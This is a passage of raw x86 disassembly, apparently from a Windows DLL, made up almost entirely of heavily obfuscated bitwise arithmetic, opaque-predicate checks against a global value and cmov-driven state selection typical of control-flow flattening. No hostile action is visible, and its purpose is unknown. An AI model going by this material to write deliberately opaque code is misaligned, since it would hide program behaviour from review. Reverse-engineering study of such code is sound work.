and ebx, 0xde7a43ce
and ecx, 0x2185bc31
or ecx, ebx
xor ecx, edi
mov eax, ecx
xor eax, 0x2185bc31
xor ecx, 0xde7a43ce
mov edx, ecx
and edx, 0x8d9ceeee
and eax, 0x72631111
or eax, edx
xor eax, esi
xor eax, 0x72631111
or ecx, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
or esi, 0x2ac3043
mov edx, ecx
or edx, 0xd12c010
and edx, 0xfbef053
and eax, 0x70400c08
or eax, edx
and esi, 0xfbef053
and ecx, 0x800103a4
or ecx, esi
xor ecx, eax
mov esi, ecx
xor esi, 0x8d13c3b4
mov edx, dword [esp + 0x14]
and edx, 0x70b6408c
mov eax, ebp
and eax, 0x8f49bf73
or eax, edx
mov edi, eax
xor edi, 0x8041a253
xor eax, 0x10204084
and eax, 0x1f285da4
and edi, 0xe0d7a25b
or edi, eax
mov eax, edi
xor eax, 0xc085800
xor edi, 0xe0d7a25b
mov edx, esi
xor edx, edi
and edx, esi
xor ecx, 0x52202400
and ecx, 0x5333a5a4
and esi, 0xaccc5a5b
or esi, ecx
and edi, 0x5333a5a4
and eax, 0xaccc5a5b
or eax, edi
xor eax, esi
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xec404af8
and ecx, eax
or eax, 0x13bfb507
mov esi, ecx
not esi
mov edi, eax
and edi, 0xe620a24c
and edx, 0x84048b0
or edx, edi
or eax, esi
and esi, 0xe620a24c
and ecx, 0x19df5db3
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x138aa501
xor eax, 0xe4000a68
and ecx, 0x1bcae591
and eax, 0xe4351a6e
or eax, ecx
xor eax, 0xe4351a6e
sete ah
setne ch
cmp dword [0x1004090c], 0xa
setl cl
setge al
mov dl, ch
inc dl
mov bh, dl
mov byte [esp + 0xc], dl
mov edx, eax
mov bl, al
mov byte [esp], al
and dl, ch
and ah, cl
or ah, dl
mov dh, cl
mov byte [esp + 4], cl
or dh, ch
xor bl, ch
mov dl, bh
and dl, ch
xor dl, 1
mov bh, ch
xor bh, dl
or dl, ch
xor ch, cl
mov al, bl
xor al, dh
or bl, dh
xor dh, 1
or dh, ch
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
xor bl, 1
or bl, al
mov ch, bl
or ch, ah
xor ch, 1
mov al, dh
xor al, bl
and al, ah
or al, ch
mov ch, bl
xor ch, 1
and bl, ah
or ah, ch
xor ah, 1
and ch, dh
or ch, bl
or ch, ah
mov ah, ch
xor ah, 1
and ah, ch
xor ah, 1
mov dh, ch
xor dh, ah
or ah, ch
xor ah, 1
or ah, dh
mov ch, ah
xor ch, 1
xor al, 1
or ch, al
xor al, ah
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
mov byte [esp + 0x14], al
xor dl, 1
or bh, dl
mov ah, bh
xor ah, 1
mov ch, bh
and ch, ah
xor ch, 1
or ch, ah
xor ch, 1
or ch, bh
mov al, ch
xor al, 1
mov byte [esp + 8], al
mov bh, ch
and bh, al
xor bh, 1
or al, bh
xor al, 1
or al, ch
mov cl, al
xor cl, 1
mov ah, byte [esp + 0xc]
or dl, ah
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov bl, dl
and bl, cl
mov dh, al
and dh, ah
or dh, bl
mov bl, dh
xor bl, cl
and bl, dh
xor dl, cl
and dl, ah
xor ah, al
and ah, al
or ah, dl
mov al, bl
xor al, 1
mov dl, ah
xor dl, 1
and ah, al
or al, dl
and dl, bl
xor al, 1
or dl, ah
or dl, al
mov ah, dl
xor ah, 1
and ah, dl
xor ah, 1
mov al, ah
xor al, dl
or ah, dl
xor ah, 1
or ah, al
mov cl, byte [esp]
xor ah, cl
mov bl, ah
xor bl, 1
or bh, ch
xor bh, 1
or bh, byte [esp + 8]
xor bh, 1
mov al, byte [esp + 4]
mov dh, al
xor dh, bh
and bh, dh
and dh, al
xor bh, 1
xor dh, 1
mov al, bh
xor al, dh
or dh, bh
xor dh, 1
or dh, al
xor ch, cl
and cl, ch
xor cl, 1
mov al, cl
xor al, ch
or cl, ch
xor cl, 1
or cl, al
mov dl, cl
xor dl, 1
and dl, cl
xor dl, 1
mov al, cl
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov al, dl
xor al, 1
mov ecx, eax
and cl, dh
xor dh, 1
and dl, dh
or dl, cl
or dh, al
xor dh, 1
or dh, dl
mov ch, dh
xor ch, 1
mov dl, bl
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, bl
mov ah, dl
xor ah, 1
mov al, ch
or al, dl
mov cl, ah
or cl, dh
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
and dh, ah
or ah, ch
and dl, ch
or dl, dh
xor dl, 1
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ah, dl
and ah, al
xor ah, 1
mov ch, al
xor ch, ah
or ah, al
xor ah, 1
or ah, ch
mov al, ah
and al, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, dl
xor cl, 1
or cl, al
or cl, ah
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov al, byte [esp + 0x14]
mov dh, al
xor dh, 1
mov dl, al
and dl, dh
xor dh, dl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or cl, dl
mov ch, cl
xor ch, 1
or dl, dh
mov al, dl
xor al, 1
and al, dl
xor al, 1
mov dh, dl
xor dh, al
or al, dl
mov bl, ah
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
and dl, ah
or ch, ah
xor ah, 1
xor al, 1
or al, dh
or bl, al
xor al, 1
or al, ah
xor bl, 1
xor al, 1
or al, bl
mov dh, cl
xor dh, 1
xor dl, 1
mov ah, dl
xor ah, ch
or dl, ch
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ch, dl
and ch, ah
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
or dl, dh
and dh, cl
xor dh, 1
mov bl, dh
xor bl, cl
or dh, cl
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
and bl, ch
xor ch, 1
and ch, dh
xor ah, cl
xor dl, 1
or dl, ah
xor dl, 1
or dl, bl
or dl, ch
mov ecx, edx
xor cl, 1
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ch, ah
and ch, dl
xor ch, 1
mov cl, dl
xor cl, ch
or ch, dl
or cl, ah
xor ch, 1
or cl, ch
xor cl, 1
xor al, cl
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ebx, 0xe8e94f10
mov esi, 0x684709bc
cmovne ebx, esi
test dl, 1
mov ecx, 0xe8e94f10
cmovne ebx, ecx
test al, 1
cmove ebx, esi
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x31761d79
and edx, ecx
mov esi, ecx
mov edi, ecx
mov ebx, ecx
xor ebx, 0x188f902e
and ebx, ecx
mov ebp, ecx
not ebp
mov ecx, ebp
and ecx, 0x220008
and eax, 0x20040151
or eax, ecx
xor eax, 0x20040151
or eax, edx
not edx
and edx, 0xc8098204
and eax, 0x20260159
or eax, edx
mov ecx, eax
xor ecx, 0xe80f834d
or ecx, 0x2002802
and eax, 0x482c0059
and ecx, 0xa203ab06
or ecx, eax
mov eax, ecx
xor eax, 0xa203ab06
mov edx, ebp
and edx, 0x5cef320b
and esi, 0xa310cdf4
or esi, edx
xor esi, 0xb4c0b156
mov edx, esi
xor edx, ebp
and edx, esi
xor ecx, 0x5dfc54f9
and ecx, edx
not edx
mov esi, eax
xor esi, edx
and esi, eax
and edx, eax
or edx, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x523be0d5
and esi, 0xa8040308
or esi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0x523be0d5
and edx, 0xadc41f2a
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
or edx, 0xc82f0308
mov esi, eax
or esi, 0x15c05ca2
and edx, 0xddef5faa
and eax, 0x2102000
or eax, edx
and esi, 0xddef5faa
and ecx, 0x20008055
or ecx, esi
xor ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x10b0ef1e
and ecx, edx
and edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x74d66c7c
and ecx, 0x8b299383
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x74d66c7c
and edx, 0x8b299383
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x10b0ef1e
mov edx, eax
xor edx, 0xef4f10e1
mov dword [esp], edx
and ebp, 0x808100c
and edi, 0x10878022
or edi, ebp
xor edi, 0x10878022
or ebx, edi
mov edi, ebx
xor edi, 0xe7706fd1
xor ebx, 0x882002e
and ebx, 0xa9826fee
mov esi, edi
and esi, 0x567d9011
or esi, ebx
xor esi, 0x567d9011
or esi, edi
mov edi, esi
not edi
and edi, 0xfdf13e35
and esi, 0x20ec1ca
or esi, edi
mov edi, esi
xor edi, 0x20ec1ca
mov ebx, edx
and ebx, 0x75b5f5fe
mov ebp, ecx
and ebp, 0x8a4a0a01
or ebp, ebx
mov ebx, esi
xor ebx, 0xfdf13e35
xor esi, 0x3aeda10f
and esi, edi
mov edx, edi
and edx, 0x75b5f5fe
mov edi, ebx
and edi, 0x8a4a0a01
or edi, edx
xor edi, ebp
mov ebp, edi
xor ebp, dword [esp]
and ebp, edi
xor eax, 0x28538fdb
and eax, ecx
or ecx, 0xc71c9f3a
and ebx, 0x38e360c5
or esi, ebx
mov edx, eax
not edx
mov edi, ecx
and edi, 0x5b626a9b
mov ebx, dword [esp]
and ebx, 0x20810044
or ebx, edi
or ecx, edx
and edx, 0x5b626a9b
and eax, 0xa49d9564
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov edx, esi
xor edx, esi
not edx
and edx, ecx
xor edx, esi
mov ecx, ebp
not ecx
mov eax, edx
not eax
and edx, ecx
or ecx, eax
not ecx
and eax, ebp
or eax, edx
or eax, ecx
mov edi, eax
not edi
mov dword [esp + 4], edi
mov edx, edi
and edx, eax
mov esi, edx
not esi
mov ecx, eax
and ecx, 0xabf5214b
and edi, 0x540adeb4
or edi, ecx
mov ecx, eax
or ecx, esi
and esi, 0xabf5214b
and edx, 0x540adeb4
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edi, esi
and edi, 0x6e0165ce
mov edx, ecx
and edx, 0x91fe9a31
or edx, edi
mov edi, edx
xor edi, 0x6e0165cf
and ecx, 0xbd79b161
mov ebx, esi
and ebx, 0x42864e9e
or ebx, ecx
xor ebx, 0x42864e9f
and esi, 0xfffffffe
or esi, ebx
xor edx, 0x91fe9a30
mov ecx, edx
and ecx, 0x61b705c9
and edi, 0x9e48fa36
or edi, ecx
xor edi, esi
xor edi, 0x9e48fa36
or edx, esi
not edx
or edx, edi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xa54315fe
and ecx, edx
and edx, 0x5abcea01
or edx, esi
xor edx, 0x5abcea01
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x7bfb8478
and ecx, 0x84047b87
or ecx, edx
mov ebp, ecx
xor ebp, 0x20cb0040
xor ecx, 0x80044183
and ecx, 0xdb34c5bb
and ebp, 0x24cb3a44
or ebp, ecx
mov edi, dword [esp + 4]
mov ecx, edi
and ecx, 0xb2191820
mov esi, eax
and esi, 0x404203c8
or esi, ecx
xor esi, 0x404203c8
mov edx, eax
xor edx, 0xf25b1be8
and edx, eax
or edx, esi
mov esi, edx
and esi, 0xfffffffe
mov ebx, esi
xor ebx, 0xda4e416
xor esi, 0x401b1229
mov ecx, edi
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edi
xor ecx, eax
and ecx, eax
mov edi, ecx
and esi, 0x483b122d
xor edx, 0x31f3c01a
and edx, ebx
mov eax, ebx
and eax, 0xb7c4edd2
or eax, esi
mov dword [esp + 8], eax
mov ebx, eax
xor ebx, 0x483b122d
mov dword [esp], ebx
or ebx, 0xc3a8dbf3
xor eax, 0x34442400
mov ecx, ebx
and ecx, 0x8290ca84
and eax, 0x3c472408
or eax, ecx
mov ecx, edx
not ecx
or ebx, ecx
and ecx, 0x8290ca84
and edx, 0x7d6f357a
or edx, ecx
xor edx, eax
mov eax, edi
mov dword [esp + 4], edi
mov esi, edi
not esi
not ebx
or ebx, edx
xor eax, 0x3c57240c
mov ecx, eax
and ecx, esi
mov edx, ecx
not edx
mov edi, edx
and edi, 0xc2d50370
and ecx, 0x3d2afc8f
or ecx, edi
and eax, dword [esp + 4]
mov edi, eax
not edi
or edx, edi
and edi, 0xc2d50370
and eax, 0x3d2afc8f
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
xor eax, edx
not eax
and eax, ebx
mov edi, dword [esp + 8]
xor edi, 0x13c02c50
xor eax, edx
mov edx, dword [esp]
mov ecx, edx
and ecx, 0xa434d1aa
and edi, 0x5bcb2e55
or edi, ecx
mov ebx, edi
mov ecx, ebp
xor ecx, 0x24cb3a44
mov edi, dword [esp + 4]
or edx, edi
and edi, 0xa434d1aa
and esi, 0x5bcb2e55
or esi, edi
xor esi, ebx
not edx
or edx, esi
not edx
or edx, eax
mov edi, edx
mov esi, ebp
xor esi, 0xdb34c5bb
xor ebp, 0xa32851ed
mov eax, ecx
and ebp, ecx
mov ebx, ecx
mov dword [esp + 8], ecx
or ecx, 0x40089440
mov eax, ebp
not eax
and ecx, 0xc28adfe0
mov edx, esi
and edx, 0x5612009
or edx, ecx
mov ecx, ebx
or ecx, eax
and eax, 0xc28adfe0
and ebp, 0x3d75201f
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
not ebp
and ebp, 0x781c9456
and ecx, 0x87e36ba9
or ecx, ebp
mov edx, ecx
mov dword [esp], edi
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x6d70f2a6
mov ecx, edi
and ecx, 0x928f0d59
or ecx, eax
xor ecx, 0x928f0d59
and ebx, edi
or ebx, ecx
mov ecx, edx
not ecx
mov eax, edx
mov dword [esp + 4], edx
and eax, 0xc210fa9e
mov ebp, ecx
and ebp, 0x3def0561
or ebp, eax
xor edx, 0xc962d83d
and edx, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x18], ebx
mov edi, ebx
not edi
xor ebx, 0xc962d83d
mov eax, ebx
and eax, edi
mov dword [esp + 0x10], eax
mov edx, edi
or edi, ecx
mov eax, ecx
xor ebp, 0xbd88891e
and eax, 0x7f987380
or eax, ebp
mov ecx, dword [esp + 8]
and ecx, 0xa63afe66
mov ebp, esi
and ebp, 0x59c50199
or ebp, ecx
xor ebp, 0x265d7219
and esi, 0x80678c7f
or esi, ebp
mov dword [esp + 8], esi
mov ebp, dword [esp + 0x18]
and ebx, ebp
and edx, 0x22004e
and ebp, 0x80458c31
or ebp, edx
mov edx, ebp
xor edx, 0x80000801
or edx, 0xb083080
xor ebp, 0x220044
and ebp, 0x678474
and edx, 0x8b08388b
or edx, ebp
xor edx, 0x8b08388b
mov ecx, dword [esp]
and ecx, 0x7f987380
or ecx, edx
mov dword [esp], ecx
mov edx, eax
not edx
mov ebp, eax
and ebp, 0x14cb547d
xor eax, 0x25959822
and eax, edx
and edx, 0xeb34ab82
or edx, ebp
mov ebp, edx
xor ebp, 0xeb34ab82
xor edx, 0xcea133a0
and edx, ebp
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xdd909f48
and edx, 0x226f60b7
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xdd909f48
and eax, 0x226f60b7
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, dword [esp + 8]
mov eax, edx
xor eax, 0x20910000
or ebp, edx
xor edx, 0x8024104
and edx, 0xd06d926
and eax, 0xf2f926d9
or eax, edx
xor eax, ecx
xor eax, 0xd06d926
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x1337af6a
mov edx, ebp
and edx, 0xecc85095
or edx, ecx
mov ecx, dword [esp]
not ecx
xor edx, 0x1337af6a
or edx, ecx
xor ecx, eax
and ecx, ebp
not edx
or ecx, edx
mov ebp, ecx
mov eax, dword [esp + 4]
and eax, 0x369d27c2
or eax, dword [esp + 0xc]
mov edx, eax
mov esi, dword [esp + 0x10]
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xacd62cc1
and esi, 0x5329d33e
or esi, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0xacd62cc1
and ebx, 0x5329d33e
or ebx, ecx
xor ebx, esi
not eax
or eax, ebx
xor eax, edx
not edi
or edi, eax
mov eax, edi
mov ecx, edi
xor ecx, 0xe69f3f2b
and ecx, edi
or edi, 0x1960c0d4
not eax
mov edx, ecx
not edx
mov esi, edi
and esi, 0x39add31e
and eax, 0xc6122c21
or eax, esi
or edi, edx
and edx, 0x39add31e
and ecx, 0xc6522ce1
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
xor eax, 0x196040d4
xor edi, 0x44910528
and edi, 0x44918528
and eax, 0xbb6e7ad7
or eax, edi
mov ecx, eax
xor ecx, 0x320c0255
xor eax, 0x4010400
and eax, 0x8d637c82
and ecx, 0x729c837d
or ecx, eax
mov eax, ecx
xor eax, 0x8d637c82
xor ecx, 0x62048271
mov edx, ebp
not edx
mov esi, edx
or esi, eax
and edx, 0x18da1d8c
and ebp, 0xe725e273
or ebp, edx
and eax, 0x18da1d8c
and ecx, 0xe725e273
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
mov edx, eax
and edx, 0x334234ee
and ecx, 0xccbdcb11
or ecx, edx
xor ecx, esi
xor ecx, 0xccbdcb11
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0xf622fbae
and esi, eax
mov edx, eax
or edx, 0x410440
mov edi, esi
not edi
and edx, 0x44638dc2
mov ebx, ecx
and ebx, 0xb200722c
or ebx, edx
mov edx, eax
or edx, edi
and edi, 0x44638dc2
and esi, 0xbb9c723d
or esi, edi
xor esi, ebx
not edx
or edx, esi
not esi
and esi, 0x9dd0451
and edx, 0xf622fbae
or edx, esi
mov edi, edx
not edi
mov esi, eax
and esi, 0xe90761df
mov ebx, ecx
and ebx, 0x16f89e20
or ebx, esi
xor ebx, 0x16f89e20
or ebx, ecx
mov esi, edi
or esi, ebx
and edi, 0x57653b21
and edx, 0xa89ac4de
or edx, edi
xor edx, ebx
mov edi, edx
xor edi, 0xa89ac4de
xor edx, 0x57653b21
mov ebx, edx
and ebx, 0x8704fad4
and edi, 0x78fb052b
or edi, ebx
xor edi, esi
xor edi, 0x78fb052b
or edx, esi
not edx
or edx, edi
mov esi, edx
not esi
mov edi, edx
or edi, 0x8001250
mov ebx, esi
or ebx, 0x40082d
and edi, 0x8401a7d
and esi, 0xe3ad0400
or esi, edi
and ebx, 0x8401a7d
and edx, 0x1412e182
or edx, ebx
xor edx, esi
mov esi, edx
xor esi, 0x1c12f3d2
mov ebx, edx
xor ebx, 0xe3ed0c2d
xor edx, 0xc9b27bd1
and ebx, edx
and edx, esi
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x5a3eac0c
and ebx, 0xa5c153f3
or ebx, ebp
mov ebp, edx
not ebp
or edi, ebp
and ebp, 0x5a3eac0c
and edx, 0xa5c153f3
or edx, ebp
xor edx, ebx
not edi
or edi, edx
xor edi, 0x551dc142
and esi, 0x80bd4941
or esi, edi
mov edi, esi
not edi
mov edx, esi
xor edx, 0x80985d5a
and edx, esi
or esi, 0x7f67a2a5
mov ebx, edx
not ebx
mov ebp, esi
and ebp, 0x51111925
and edi, 0x8088445a
or edi, ebp
or esi, ebx
and ebx, 0x51111925
and edx, 0xaeeee6da
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
xor edx, 0x5d048025
xor esi, 0x80985452
and esi, 0xa2fb76d2
and edx, 0x5d04892d
or edx, esi
mov dword [esp], edx
mov esi, ecx
and esi, 0x5700b480
mov ebx, eax
and ebx, 0x2842023e
or ebx, esi
mov edi, ebx
xor edi, 0x28420208
xor ebx, 0xd7bdfdc1
mov ebp, eax
xor ebp, 0x7f42b6be
and ebp, eax
mov esi, ebx
and esi, 0x56315c36
and edi, 0x2942a288
or edi, esi
mov esi, ebp
not esi
or ebx, esi
and esi, 0x56315c36
and ebp, 0xa9cea3c9
or ebp, esi
mov esi, edx
xor esi, 0x5d04892d
xor ebp, edi
mov edi, edx
xor edi, 0xa2122652
not ebx
or ebx, ebp
and ecx, 0x765de4f2
and eax, 0x89a21b0d
or eax, ecx
mov ecx, eax
xor ecx, 0x89a21b0d
xor eax, 0x765de4f2
and eax, ebx
not ebx
and ecx, ebx
or eax, ecx
not eax
or eax, ebx
mov ecx, eax
mov ebp, eax
xor ebp, 0x50b56db9
and ebp, eax
mov edx, eax
not edx
and ecx, 0x22485d74
mov eax, edx
and eax, 0xddb7a28b
or eax, ecx
mov ecx, esi
and ecx, 0x5ded5189
and edi, 0xa212ae76
or edi, ecx
mov ecx, eax
xor ecx, 0x8012a202
xor eax, 0x485100
and eax, 0x5ded5189
and ecx, 0xa212ae76
or ecx, eax
xor ecx, edi
mov eax, ecx
xor eax, esi
and eax, ecx
mov ebx, dword [esp]
mov ecx, ebx
xor ecx, 0x204a1002
mov edi, esi
or edi, 0x2c4a1006
xor ebx, 0xb10000
and edx, 0x50b56db9
or edx, ebp
or ecx, 0x465b1
and ecx, 0x2c4e75b7
and esi, 0x83008240
or esi, ecx
and edi, 0x2c4e75b7
and ebx, 0x50b10808
or ebx, edi
xor ebx, esi
mov ecx, ebx
mov ebx, edx
xor ebx, edx
not ebx
and ebx, ecx
xor ebx, edx
mov ecx, eax
not ecx
mov dword [esp], ecx
mov esi, ebx
not esi
mov edi, eax
or edi, 0x4180210
mov ebp, esi
and ebp, 0x3ae2f48e
mov edx, ebx
xor edx, 0x3ae2f48e
and edx, ebx
or edx, ebp
and edi, 0xed8d298
mov ebp, ecx
and ebp, 0x30222406
or ebp, edi
mov edi, ecx
or edi, 0xac0d088
and edi, 0xed8d298
mov ecx, eax
and ecx, 0xc1050961
or ecx, edi
xor ecx, ebp
mov edi, edx
xor edi, edx
not edi
and edi, ecx
xor edi, edx
mov ecx, eax
and ecx, 0xab648c91
mov edx, dword [esp]
and edx, 0x549b736e
or edx, ecx
or eax, ebx
and ebx, 0xab648c91
and esi, 0x549b736e
or esi, ebx
xor esi, edx
not eax
or eax, esi
not eax
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2022680
mov esi, eax
and esi, 0x9000930
or esi, edx
mov edi, esi
xor edi, 0x9000930
xor esi, 0xf6fff6cf
mov edx, ecx
and edx, 0x8ed9e57c
and eax, 0x71261a83
or eax, edx
xor eax, 0x85dbcacc
xor ecx, eax
and ecx, eax
mov edx, ecx
not edx
mov eax, edi
xor eax, edx
and eax, edi
and ecx, esi
and edx, edi
or edx, ecx
or edx, eax
mov ecx, edx
xor ecx, 0x8bbf66f1
mov eax, edx
xor eax, 0x7440990e
xor edx, 0x508d7622
and edx, ecx
mov esi, eax
or esi, edx
not edx
and edx, 0x24cdef2c
and esi, 0xdb3210d3
or esi, edx
mov edx, esi
not edx
and esi, 0xbfbd8549
mov edi, edx
and edi, 0x40427ab6
or edi, esi
xor edi, 0x9305754e
and edx, 0x2cb8f007
or edx, edi
mov ebx, edx
not ebx
mov esi, eax
and esi, 0x5d2d1948
mov edi, ecx
and edi, 0xa2d2e6b7
or edi, esi
xor edi, 0x8e6a16b0
mov esi, edi
xor esi, eax
and esi, edi
mov ebp, esi
not ebp
mov edi, ebx
xor edi, ebp
and edi, ebx
and edx, 0xd65be312
and ebx, 0x29a41ced
or ebx, edx
and ebp, 0xd65be312
and esi, 0x29a41ced
or esi, ebp
xor esi, ebx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x38cb9274
and edi, 0xc7346d8b
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x38cb9274
and esi, 0xc7346d8b
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edi, 0x24982006
mov ebx, esi
or ebx, 0x3430e48
and edi, 0x27db2e4e
and esi, 0xd00401b0
or esi, edi
and ebx, 0x27db2e4e
and edx, 0x820d001
or edx, ebx
xor edx, esi
mov esi, edx
not esi
mov edi, esi
or edi, 0x801a10c4
mov ebx, edx
or ebx, 0x2340c400
and ebx, 0xa35ad4c4
and esi, 0x48a02221
or esi, ebx
and edi, 0xa35ad4c4
and edx, 0x1405091a
or edx, edi
xor edx, esi
mov esi, edx
xor esi, 0x3745cd1a
and ecx, 0x790a35b7
and eax, 0x86f5ca48
or eax, ecx
mov edi, eax
xor edi, 0x790a35b7
xor eax, 0x86f5ca48
mov ecx, esi
xor ecx, eax
and ecx, esi
xor edx, 0xc8ba32e5
and edx, edi
and eax, esi
or eax, edx
mov edx, ecx
not edx
mov esi, eax
not esi
mov edi, edx
and edi, 0x17aaa5ac
and ecx, 0xe8555a53
or ecx, edi
or edx, esi
and esi, 0x17aaa5ac
and eax, 0xe8555a53
or eax, esi
xor eax, ecx
not edx
or edx, eax
xor edx, 0xffffffff
sete byte [esp]
setne dh
cmp dword [0x1004090c], 0xa
setge al
mov byte [esp + 4], al
mov ch, al
inc ch
mov byte [esp + 0x18], ch
mov dl, ch
and dl, al
xor dl, 1
mov byte [esp + 8], dl
mov cl, ch
xor cl, dl
mov al, ch
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov dl, al
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov dl, cl
xor dl, 1
mov ch, cl
and ch, dl
xor ch, 1
or ch, dl
mov dl, dh
inc dl
and dl, dh
xor dl, 1
mov byte [esp + 0xc], dl
xor ch, 1
or ch, cl
mov bh, ch
xor bh, 1
and bh, al
mov cl, dl
mov ah, byte [esp]
or cl, ah
and ch, bl
mov dl, cl
xor dl, 1
or ch, bh
mov bh, cl
and bh, dl
xor bh, 1
mov al, bh
xor al, dl
or bh, dl
xor bh, 1
or bh, al
mov al, bh
and al, dh
xor bh, 1
and bh, ah
or bh, al
mov bl, cl
xor bl, ah
and bl, cl
mov byte [esp + 0x10], dh
or cl, dh
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
or dl, dh
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor al, 1
mov cl, al
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov cl, dl
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov bl, cl
xor bl, 1
mov dl, bh
xor dl, 1
mov al, bh
xor al, cl
and cl, dl
and bh, bl
or bh, cl
or dl, bl
xor dl, 1
or dl, al
xor bh, 1
mov cl, bh
xor cl, dl
or bh, dl
xor bh, 1
or bh, cl
mov bl, bh
xor bl, 1
and bl, bh
xor bl, 1
mov cl, bh
xor cl, bl
or bl, bh
xor bl, 1
or bl, cl
mov cl, bl
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
xor al, 1
and bl, al
or cl, bl
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov bl, ch
xor bl, 1
mov bh, ch
and bh, bl
xor bh, 1
mov al, bh
xor al, ch
or bh, ch
xor bh, 1
or bh, al
mov dl, bh
xor dl, 1
mov eax, ecx
xor al, 1
mov ah, cl
or ah, bh
and dl, cl
and bh, al
or bh, dl
xor bh, 1
mov dl, bh
xor dl, ah
or bh, ah
xor bh, 1
or bh, dl
and cl, ch
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov bl, al
xor bl, 1
mov cl, bh
xor cl, bl
and cl, bh
and bl, bh
mov dl, bh
xor bh, 1
mov ah, al
or ah, bh
xor ah, 1
xor dl, al
and dl, bh
or dl, ah
and al, bh
or bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
mov eax, edx
xor al, bl
and al, dl
and bl, dl
xor dl, 1
and dl, cl
or bl, dl
xor al, 1
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
movzx ecx, byte [esp + 0xc]
mov eax, ecx
mov ah, byte [esp + 0x10]
xor al, ah
or cl, ah
xor cl, 1
or cl, al
movzx edx, byte [esp + 8]
mov al, dl
mov ch, byte [esp + 4]
or al, ch
xor al, 1
mov dh, byte [esp + 0x18]
or dh, al
xor dh, 1
xor cl, dh
mov bh, cl
xor dl, ch
or dl, al
mov al, dl
xor al, 1
mov ecx, edx
mov ch, dl
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov dl, byte [esp]
or cl, dl
and al, dl
mov dl, cl
